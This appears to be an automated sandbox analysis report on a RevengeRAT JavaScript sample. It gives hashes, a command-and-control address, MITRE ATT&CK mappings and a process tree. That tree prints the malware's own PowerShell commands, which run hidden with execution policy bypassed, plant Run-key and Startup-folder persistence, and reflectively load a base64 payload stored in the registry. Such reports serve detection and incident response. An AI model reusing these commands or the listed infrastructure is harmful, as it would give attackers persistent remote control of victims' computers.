revengerat | d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

General

Target

213124dados cancelar a reserva.js
Size

60KB
MD5

5508be73f4288131312fe9dcbe64322c
SHA1

f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256

d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512

0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f
SSDEEP

768:qze48RhtXFS/81q/y1wGU8a1aIIEHU8aIIFTTV+i2jsm888esI8X88888gKV7+lA:qC48xhtaGcdIh8aIIxgFv

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

23 3428 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1536 powershell.exe
3428 powershell.exe
2304 powershell.exe
620 powershell.exe

flow	pid	process
23	3428	powershell.exe

pid	process
1536	powershell.exe
3428	powershell.exe
2304	powershell.exe
620	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213124dados cancelar a reserva.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213124dados cancelar a reserva.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2304	powershell.exe
2304	powershell.exe
620	powershell.exe
1536	powershell.exe
620	powershell.exe
3428	powershell.exe
3428	powershell.exe
1536	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

wscript.exepowershell.exewscript.exe

description	pid	process	target process
PID 664 wrote to memory of 2304	664	wscript.exe	powershell.exe
PID 664 wrote to memory of 2304	664	wscript.exe	powershell.exe
PID 2304 wrote to memory of 3556	2304	powershell.exe	wscript.exe
PID 2304 wrote to memory of 3556	2304	powershell.exe	wscript.exe
PID 3556 wrote to memory of 620	3556	wscript.exe	powershell.exe
PID 3556 wrote to memory of 620	3556	wscript.exe	powershell.exe
PID 3556 wrote to memory of 1536	3556	wscript.exe	powershell.exe
PID 3556 wrote to memory of 1536	3556	wscript.exe	powershell.exe
PID 3556 wrote to memory of 3428	3556	wscript.exe	powershell.exe
PID 3556 wrote to memory of 3428	3556	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\213124dados cancelar a reserva.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213124dados cancelar a reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213124dados cancelar a reserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213124dados cancelar a reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3hczgr4.qnv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js

Filesize
60KB

MD5
5508be73f4288131312fe9dcbe64322c

SHA1
f579ae533109afddd4d9e528c7c393035cd80e7a

SHA256
d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

SHA512
0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

Download Submit
memory/2304-0-0x00007FFD9EE53000-0x00007FFD9EE55000-memory.dmp

Filesize
8KB

Download
memory/2304-10-0x00000242D1120000-0x00000242D1142000-memory.dmp

Filesize
136KB

Download
memory/2304-11-0x00007FFD9EE50000-0x00007FFD9F911000-memory.dmp

Filesize
10.8MB

Download
memory/2304-12-0x00007FFD9EE50000-0x00007FFD9F911000-memory.dmp

Filesize
10.8MB

Download
memory/2304-13-0x00000242D1860000-0x00000242D18A4000-memory.dmp

Filesize
272KB

Download
memory/2304-16-0x00000242D1930000-0x00000242D19A6000-memory.dmp

Filesize
472KB

Download
memory/2304-46-0x00007FFD9EE53000-0x00007FFD9EE55000-memory.dmp

Filesize
8KB

Download
memory/2304-47-0x00007FFD9EE50000-0x00007FFD9F911000-memory.dmp

Filesize
10.8MB

Download
memory/3428-45-0x0000021BCC480000-0x0000021BCC48A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads